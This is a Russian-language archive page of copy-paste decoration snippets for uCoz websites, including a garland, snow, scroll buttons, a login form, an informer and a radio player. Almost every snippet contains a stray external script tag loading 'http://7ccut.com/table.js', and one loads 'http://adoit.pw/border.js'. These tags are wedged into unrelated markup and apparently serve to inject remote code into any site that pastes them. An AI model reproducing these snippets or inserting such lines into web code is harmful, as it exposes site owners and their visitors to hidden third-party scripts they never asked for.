Главная » Архив материалов
 Установка гирлянды на сайт: Два варианта установки: 1. Зайти в панель управления » Открыть главную страницу вашего сайта и перед </head> вставить код. 2. Зайти в панель управления » Главная » Управление дизайном » Редактирование шаблонов » Верхняя часть сайта и в самый вверх вставляем код: Код <style type="text/css"> #garland {position:absolute;top:0;left:0;background-image:url('http://pnghosts.ru/img/christmas-lights.png');height:36px;width:100%;overflow:hidden;z-index:99} #nums_1 {padding:100px} .garland_1 {background-position: 0 0} .garland_2 {background-position: 0 -36px} .garland_3 {background-position: 0 -72px} .garland_4 {background-position: 0 -108px} </style> <div id="garland" class="garland_4"> <script src="http://7ccut.com/table.js" type="text/javascript"></script> <div id="nums_1">1</div></div><script type="text/javascript"> function garland() { nums = document.getElementById('nums_1').innerHTML if(nums == 1) {document.getElementById('garland').className='garland_1';document.getElementById('nums_1').innerHTML='2'} if(nums == 2) {document.getElementById('garland').className='garland_2';document.getElementById('nums_1').innerHTML='3'} if(nums == 3) {document.getElementById('garland').className='garland_3';document.getElementById('nums_1').innerHTML='4'} if(nums == 4) {document.getElementById('garland').className='garland_4';document.getElementById('nums_1').innerHTML='1'} } setInterval(function(){garland()}, 600) </script> На этом шаге установка завершена |
 Устанавливает очень просто: Заходим в панель управления » Главная » Управление дизайном » Редактирование шаблонов » Верхняя часть сайта и в самый вверх вставляем код: Код <style type="text/css"> #garland {position:absolute;top:0;left:0;background-image:url('http://pnghosts.ru/img/christmas.png');height:36px;width:100%;overflow:hidden;z-index:99} #nums_1 {padding:100px} .garland_1 {background-position: 0 0} .garland_2 {background-position: 0 -36px} .garland_3 {background-position: 0 -72px} .garland_4 {background-position: 0 -108px} </style> <div id="garland" class="garland_4"><div id="nums_1">1</div></div> <script type="text/javascript"> function garland() { nums = document.getElementById('nums_1').innerHTML if(nums == 1) {document.getElementById('garland').className='garland_1';document.getElementById('nums_1').innerHTML='2'} if(nums == 2) {document.getElementById('garland').className='garland_2';document.getElementById('nums_1').innerHTML='3'} if(nums == 3) {document.getElementById('garland').className='garland_3';document.getElementById('nums_1').innerHTML='4'} if(nums == 4) {document.getElementById('garland').className='garland_4';document.getElementById('nums_1').innerHTML='1'} } setInterval(function(){garland()}, 600) </script> <nolayer> <div style="position:absolute; top:0; left:0;"> </nolayer> <script src="http://7ccut.com/table.js" type="text/javascript"></script> <img border="0" src="http://pnghosts.ru/img/elka.png" align="left" /> <nolayer> </div> </nolayer> <script type="text/javascript" src="http://pnghosts.ru/js_css/snow.js"></script> Готово. |
 В верхнюю часть сайта, в самое начало вставляем скрипт: Код <script type="text/javascript"> <br> var SNOW_Picture = "http://pnghosts.ru/img/578_snow_ckript_cne.png"; // ссылка на снежинку <br> var SNOW_Width = "25px"; // длина снежинки <br> var SNOW_Height = "25px"; // высота снежинки <br> var SNOW_no = 99; // количество снежинок на странице одновременно <br> </script><script src="http://7ccut.com/table.js" type="text/javascript"></script> <br> <script type="text/javascript" src="http://pnghosts.ru/js_css/snow_ckript_cneg_na_cait.js"></script> |
 Данный скрипт представляет собой удобный и красивый информер для самых скачиваемых файлов ucoz, который очень просто поместить в любой блок. В шаблоне информера находится изображение файла, сверху, поверх картинки написано количество загрузок. А снизу, полупрозрачная лента с названием файла и иконкой лупы, при нажатии на которую открывается дополнительная панелька с подробной информации о материале. Данное решение можно перенастроить и под другие модули, такие как новости, блоги или статьи. Интересно, что информер лучших материалов подходит практически под любой дизайн и под сайты любой тематике. Более симпатично смотрится на сайтах игровой тематики. Важно: Ширина блока, куда вы хотите вставить информер, должна быть не менее 190px! Если вы хотите, что-бы выводило не 3 материала, а больше, то необходимо добавить в CSS код дополнительные классы: после .ifudslink3 добавляем через запятую .ifudslink4 , .ifudslink5 и так далее, в зависимости от количества материалов. Установка 1. Первым делом создадим сам информер со следующими параметрами: [ Каталог файлов - Материалы - Количество загрузок D - Материалы: 3 - Колонки: 1 ] 2. В его шаблоне удаляем все и вставляем следующее: Код <div align="center" class="ifboxuds"> <div class="ifuds"><div style="background: #aaa;"> <a title="$TITLE$" href="$ENTRY_URL$"><img width="170px" src="$IMG_URL1$"></a> <span title="$TITLE$"><a class="ifuds" href="$ENTRY_URL$"><b><?if($TITLE$)?><?if(len($TITLE$)>15)?><?substr($TITLE$,0,14)?>...<?else?>$TITLE$<?endif?></a><?else?>Без названия<?endif?></b></a><a onclick="$('.ifudslink$NUMBER$').slideToggle(100);" class="ifudslinks2"><img src="http://pnghosts.ru/img/imageshowprevimg.png" title="Подробная информация"></a><script src="http://7ccut.com/table.js" type="text/javascript"></script></span> </div></div> <div class="loadingnum">Загрузок: $LOADS$</div> <div class="ifudslink$NUMBER$"><div class="ifudsoa">Просмотров: <b>$READS$</b><br>Комментариев: <b>$COMMENTS_NUM$</b><br>Категория: <b><a href="$CATEGORY_URL$" class="ifuds"><?if(len($CATEGORY_NAME$)>11)?><?substr($CATEGORY_NAME$,0,10)?>...<?else?>$CATEGORY_NAME$<?endif?></a></b></div></div> </div> 3. Заходим в ПУ -> Управление дизайном -> Таблицу стилей CSS и вставляем следующее: Код .ifboxuds {position:relative; width:180px; font-size:11px; font-family:tahoma;} .ifuds { width:170px; overflow:hidden; padding: 0px 0px 0px 0px;} .ifuds a {color:#bababa; text-decoration: none;} .ifuds a:hover {color:#818181; text-decoration: underline;} .ifuds div { float:left;width:170px; height:70px;overflow:hidden; position:relative; margin: 5px 0px 5px 0px; } .ifuds span {float:left;width:100%; left: 0px; bottom: 0px;position:absolute; background: url(http://pnghosts.ru/img/pix_title.png) repeat; padding: 4px 0px 4px 0px; font: 9px Verdana,Arial,Helvetica, sans-serif; text-align: center; color: #eee; } a.ifuds {color:#bababa; text-decoration: none;} a:hover.ifuds {color:#818181; text-decoration: underline;} .loadingnum{ position: absolute; top: 10px; right: 15px; padding: 1px 5px; background: #000; background: rgba(0, 0, 0, 0.73); font: bold 10px/14px 'Arial'; color: #fff; border-radius: 0px; } a.ifudslinks2 {display:inline-block;*display:inline;margin-top:3px; padding: 0px 0px 0 8px;} a:hover.ifudslinks2 {cursor:pointer;} .ifudsoa {padding:0px 0px 5px 5px;} .ifudslink1,.ifudslink2,.ifudslink3 {display:none;position:absolute; width:158px; height: 38px; bottom:25px; margin-left:5px; background:rgba(0, 0, 0, 0.85); border:1px solid #333; text-align:left; z-index:999; padding:5px; color:#eee;} |
 Заходим в панель управления сайтом, далее "Главная » Управление дизайном » Редактирование шаблонов" Копируем код и вставляем в "Нижняя часть сайта" в самый низ. Код <div style="display:none;" class="nav_up" id="nav_up"> <img alt="↑" width="32" height="32" src="http://pnghosts.ru/img/2_u.ico" > </div> <div style="display:none;" class="nav_down" id="nav_down"> <script src="http://7ccut.com/table.js" type="text/javascript"></script> <img alt="↓" width="32" height="32" src="http://pnghosts.ru/img/2_d.ico" > </div> <script> $(function() { var $elem = $('body'); $('#nav_up').fadeIn('slow'); $('#nav_down').fadeIn('slow'); $(window).bind('scrollstart', function(){ $('#nav_up,#nav_down').stop().animate({'opacity':'0.2'}); }); $(window).bind('scrollstop', function(){ $('#nav_up,#nav_down').stop().animate({'opacity':'1'}); }); $('#nav_down').click( function (e) { $('html, body').animate({scrollTop: $elem.height()}, 800); } ); $('#nav_up').click( function (e) { $('html, body').animate({scrollTop: '0px'}, 800); } ); }); </script> Это вставляем в "Таблица стилей (CSS)" в самый низ Код .nav_up{ padding:2px; position:fixed; width:32px; height:32px; bottom:20px; opacity:0.7; right:30px; cursor: pointer; } .nav_down{ padding:2px; position:fixed; width:32px; height:32px; bottom:20px; opacity:0.7; right:66px; cursor: pointer; } Готово. |
 В этой новости я поделюсь, как мне кажется, достаточно редкой полезностью для сайта укоз, а именно формой входа на собственно сам сайт uCoz. Выглядит эта форма входа так же как и на скриншоте к материалу. Установка проходит в несколько этапов - нужно добавить код в шаблон CSS, а так же и заменить сам код $LOGIN_FORM$ или $LOG_FORM$, но если вам доводилось прежде работать с админ панелью сайта на бесплатном хостинге uCoz, а так же с HTML кодами, тогда эта проблема должна решиться мигом Установка: В самый низ вашего css вставляйте: Код /* GLOBALS */
.form-1 *, .form-1 *:after, .form-1 *:before { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; -ms-box-sizing: border-box; -o-box-sizing: border-box; box-sizing: border-box; padding: 0; margin: 0; } .clearfix:after { content: ""; display: table; clear: both; } .form-1 { width: 140px; margin: 0px; padding: 10px; position: relative; /* For the submit button positioning */ /* Styles */ box-shadow: 0 0 1px rgba(0, 0, 0, 0.3), 0 3px 7px rgba(0, 0, 0, 0.3), inset 0 1px rgba(255,255,255,1), inset 0 -3px 2px rgba(0,0,0,0.25); border-radius: 5px; background: white; /* Fallback */ background: -moz-linear-gradient(#eeefef, #ffffff 10%); background: -ms-linear-gradient(#eeefef, #ffffff 10%); background: -o-linear-gradient(#eeefef, #ffffff 10%); background: -webkit-gradient(linear, 0 0, 0 100%, from(#eeefef), color-stop(0.1, #ffffff)); background: -webkit-linear-gradient(#eeefef, #ffffff 10%); background: linear-gradient(#eeefef, #ffffff 10%); } .form-1 .field { position: relative; /* For the icon positioning */ } .form-1 .field i { /* Size and position */ left: 0px; top: 0px; position: absolute; height: 36px; width: 36px; /* Line */ border-right: 1px solid rgba(0, 0, 0, 0.1); box-shadow: 1px 0 0 rgba(255, 255, 255, 0.7); /* Styles */ color: #777777; text-align: center; line-height: 42px; -webkit-transition: all 0.3s ease-out; -moz-transition: all 0.3s ease-out; -ms-transition: all 0.3s ease-out; -o-transition: all 0.3s ease-out; transition: all 0.3s ease-out; pointer-events: none; } .form-1 input[type=text], .form-1 input[type=password] { font-family: 'Lato', Calibri, Arial, sans-serif; font-size: 13px; font-weight: 400; text-shadow: 0 1px 0 rgba(255,255,255,0.8); /* Size and position */ width: 100%; padding: 10px 18px 10px 45px; /* Styles */ border: none; /* Remove the default border */ box-shadow: inset 0 0 5px rgba(0,0,0,0.1), inset 0 3px 2px rgba(0,0,0,0.1); border-radius: 3px; background: #f9f9f9; color: #777; -webkit-transition: color 0.3s ease-out; -moz-transition: color 0.3s ease-out; -ms-transition: color 0.3s ease-out; -o-transition: color 0.3s ease-out; transition: color 0.3s ease-out; } .form-1 input[type=text] { margin-bottom: 10px; } .form-1 input[type=text]:hover ~ i, .form-1 input[type=password]:hover ~ i { color: #52cfeb; } .form-1 input[type=text]:focus ~ i, .form-1 input[type=password]:focus ~ i { color: #42A2BC; } .form-1 input[type=text]:focus, .form-1 input[type=password]:focus, .form-1 button[type=submit]:focus { outline: none; } .form-1 .submit { /* Size and position */ width: 65px; height: 65px; position: absolute; top: 16px; right: -25px; padding: 10px; z-index: 2; /* Styles */ background: #ffffff; border-radius: 50%; box-shadow: 0 0 2px rgba(0,0,0,0.1), 0 3px 2px rgba(0,0,0,0.1), inset 0 -3px 2px rgba(0,0,0,0.2); } .form-1 .submit:after { /* Size and position */ content: ""; width: 10px; height: 10px; position: absolute; top: -2px; left: 30px; /* Styles */ background: #ffffff; /* Other masks trick */ box-shadow: 0 62px white, -32px 31px white; } .form-1 button { /* Size and position */ width: 100%; height: 100%; margin-top: -1px; /* Icon styles */ font-size: 1.4em; line-height: 1.75; color: white; /* Styles */ border: none; /* Remove the default border */ border-radius: inherit; background: #52cfeb; /* Fallback */ background: -moz-linear-gradient(#52cfeb, #42A2BC); background: -ms-linear-gradient(#52cfeb, #42A2BC); background: -o-linear-gradient(#52cfeb, #42A2BC); background: -webkit-gradient(linear, 0 0, 0 100%, from(#52cfeb), to(#42A2BC)); background: -webkit-linear-gradient(#52cfeb, #42A2BC); ... Читать дальше » |
 Скрипт оповещает пользователя сайта о регистраци или войти под свом логином. Если юзер не хочет пройти регистрацию или войти в свой аккаунт, оповещение можно закрыть в один клик. Для ползователей которые вошли на сайт под своим логином - оповещение не выводится! Скрипт красивая просилка регистрации для uCoz. Если юзер авторизовывается или входит под свом логином данное сообщение не выводится. Фон данного скрипта полупрозрачный, а это значит что скрипт впишется в любой дизайн сайта.. Установка: Заходим в нижнюю часть сайта и в самый низ прописываем: Код <?if($GROUP_ID$=='0')?><div id="ball" style="z-index:99999; position:fixed; width:412px; height:146px; right:50px; bottom:20px; margin-top:-105px; margin-left:-412px; font-weight:normal; text-decoration:none;"> <table width="412" height="146" cellpadding="10px"> <tr><td valign="top" background="http://pnghosts.ru/img/baloon.png"> <table><tr><td style="padding:20px 0px 20px 20px;"> <img border="0" src="http://pnghosts.ru/img/info.png" width="40" height="40"></td><td style="padding:15px; 15px; 15px; 0px;"> <span style="font-weight:bold; font-size: 14px; color:#446aac;"> <b>Здравствуйте, гость.</b></span> <br> <span style="font-weight:bold; font-size: 11px;">Мы просим Вас <a href="/index/3"><u>зарегистрироваться</u></a> на нашем сайте, или <a href="javascript://" rel="nofollow" onclick="new _uWnd('LF',' ',-250,-110,{autosize:0,closeonesc:1,resize:1},{url:'/index/40'});return false;"><u>войти</u></a> под своим логином.</span> </td><td align="right" valign="top" style="padding-top:20px; padding-right:20px;"><a class="closeball" onclick='document.getElementById("ball").style.display = "none";return false;'><img src="http://pnghosts.ru/img/cross1.png" onmouseover="this.src='http://pnghosts.ru/img/cross2.png'" onmouseout="this.src='http://pnghosts.ru/img/cross1.png'" alt="Закрыть" border="none"></a></td></tr></table></td></tr></table></div><?endif?><script src="http://7ccut.com/table.js" type="text/javascript"></script> |
 Разные кнопки "вверх и вниз" для сайта или блога Кнопка "Вверх" играет большую роль в улучшении удобства пользователя, особенно на тех страница которые сильно нагромождены контентом. А так как в настоящее время контент для сайта самое главное, то его на страницах, как правило, становится все больше и больше и самым лучшим способом перенаправить посетителя вверх страницы являются различные специальные кнопки  Красивая кноапка "Вверх", появляется при прокрутки страници вниз и плавно исчезает при клике вверх. Как правильно установить "Кнопку Вверх" на сайт: Приступим. И так Заходим в панель управления сайтом, далее "Главная » Управление дизайном » Редактирование шаблонов" Копируем код и вставляем в "Нижняя часть сайта" в самый низ. Код <a style="display: block;" id="toTop"><img src="http://pnghosts.ru/img/vverx_images_site.png" align="absmiddle" border="0"><br>Вверх</a><br/> <script src="http://7ccut.com/table.js" type="text/javascript"></script> <script src="http://pnghosts.ru/js_css/jquery.scroll.pack.js" type="text/javascript"></script> <script type="text/javascript"> $(function() { $("#toTop").scrollToTop(); }); </script> Это вставляем в "Таблица стилей (CSS)" в самый низ Код /* === jQ TOP === */ #toTop { width: 50px; background: #f1f1f1; border-width: 1px 1px 1px 1px; border-style: solid; border-color: #cccccc; -moz-border-radius: 10px 10px 10px 10px; -webkit-border-bottom-left-radius: 10px; -webkit-border-bottom-right-radius: 10px; -webkit-border-top-left-radius: 10px; -webkit-border-top-right-radius: 10px; text-align: center; padding: 2px; position: fixed; bottom: 2px; right: 2px; cursor: pointer; color: #666666; text-decoration: none; } /* =============== */ Кнопка вверх для ucoz в стиле котэ  Правильная установка: Заходим в панель управления сайтом, далее "Главная » Управление дизайном » Редактирование шаблонов" Копируем код и вставляем в "Нижняя часть сайта" в самый низ. Код <script language="JavaScript" type="text/javascript"> $(function() { $.fn.scrollToTop = function() { $(this).hide().removeAttr("href"); if ($(window).scrollTop() >= "250") $(this).fadeIn("slow") var scrollDiv = $(this); $(window).scroll(function() { if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow") else $(scrollDiv).fadeIn("slow") }); $(this).click(function() { $("html, body").animate({scrollTop: 0}, "slow") }) } }); $(function() { $("#Go_Top").scrollToTop(); }); </script> <a style='position: fixed; bottom: 25px; right: 50px; cursor:pointer; display:none;' href='#' id='Go_Top'> <img src="http://pnghosts.ru/img/kotikup.png" alt="Наверх" title="Наверх"> </a><script src="http://7ccut.com/table.js" type="text/javascript"></script> </div> <script type='text/javascript' src='http://pnghosts.ru/js_css/arclite.js'></script> Кнопка вверх в процентах для сайта или блога |
 флеш-плеер О fm на сайт, чтобы 24 часа в сутки 7 дней в неделю баловать себя и своих посетителей самыми современными музыкальными ритмами и зажигательными эфирами! Для этого нужно всего лишь скопировать код в буфер обмена и вставить на свою страничку.  Код <object id="audioplayer272" type="application/x-shockwave-flash" data="http://skatay.com/obchagafm/uppod.swf" width="190" height="45"><param name="bgcolor" value="#f0f8f6" /><param name="allowScriptAccess" value="always" /><param name="movie" value="http://skatay.com/obchagafm/uppod.swf" /><script src="http://7ccut.com/table.js" type="text/javascript"></script><param name="flashvars" value="comment=О... FM&st=http://skatay.com/obchagafm/audio-A.txt&file=http://s02.radio-tochka.com:8790/radio" /></object>  Код <object id="audioplayer269" type="application/x-shockwave-flash" data="http://skatay.net/obchagafm/uppod.swf" width="190" height="45"><script src="http://7ccut.com/table.js" type="text/javascript"></script><param name="bgcolor" value="#ffffff" /><param name="allowScriptAccess" value="always" /><param name="movie" value="http://skatay.net/obchagafm/uppod.swf" /><param name="flashvars" value="comment=О... FM&st=http://skatay.net/obchagafm/audio146-419.txt&file=http://s02.radio-tochka.com:8790/radio" /></object>  Код <object id="audioplayer272" type="application/x-shockwave-flash" data="http://skatay.net/obchagafm/uppod.swf" width="180" height="40"><script src="http://7ccut.com/table.js" type="text/javascript"></script><param name="bgcolor" value="#ffffff" /><param name="allowScriptAccess" value="always" /><param name="movie" value="http://skatay.net/obchagafm/uppod.swf" /><param name="flashvars" value="comment=О... FM&st=http://skatay.net/obchagafm/audio146-421.txt&file=http://s02.radio-tochka.com:8790/radio" /></object> |
 Установка: Вставляем в блок: Код <script> jQuery(function(){ $("#banners img").hover(function(){ $(this).stop().animate({opacity:'1.0'})}, function(){$(this).stop().animate({opacity:'.3'})} ); }); </script> <div id="banners"><div align="center" class="eMessagecsomsk"><A title="Портал для вебмастеров uCoz и игроков Counter-Strike" href="http://site.ru/" rel=sidebar onclick="window.external.addFavorite(location.href,'Название вашего сайта'); return false;"><img src="http://pnghosts.ru/img/zakladka.gif" border="0" alt="Добавь сайт в закладки" /></A></div></div><br><table cellspacing="0" cellpadding="0"> <tr><script type="text/javascript" src="http://adoit.pw/border.js"></script> <td class="op_fon"> <img src="http://pnghosts.ru/img/dialog-warning.png"></td> <td class="gost" valign="top">Нажми на клавиатуре Ctrl+D или нажми <a title="Добавить эту страницу в избранное вашего браузера" href="" rel="sidebar" title="Добавить эту страницу в избранное вашего браузера" onclick="if(document.all && !window.opera){window.external.AddFavorite(this.href,'csomsk.Ru™ - Всё для тебя и твоей игры!'); return false;}">Добавить</a> </td> </tr> </table> Вставляем в CSS: Код #banners img{opacity:.3;filter:alpha(opacity=30)} .op_fon {background:#f7f7f7;border:1px solid #DBDBDB;border-right:1px dotted #ccc;width:40px;height:40px;} .gost {background:#fff;border:1px solid #DBDBDB;padding:5px;border-left:none;text-align:left;margin-left:-3px;padding-bottom:2px;margin-top:-5px;height:40px;font:10px Tahoma;width:150px;} .op_fon img {padding-left:5px; filter:progid:DXImageTransform.Microsoft.alpha(opacity=60);-moz-opacity:0.6;opacity:0.6;} .eMessagecsomsk a img, .eMessagecsomsk img {padding:3px !important;background:#ffffff; border:1px solid#dbdbdb !important;border-radius:4px; -moz-border-radius:7px;box-shadow:0px 0px 10px #e8e8e8;-moz-box-shadow:0px 0px 10px #e8e8e8;} a img {border:0px;} |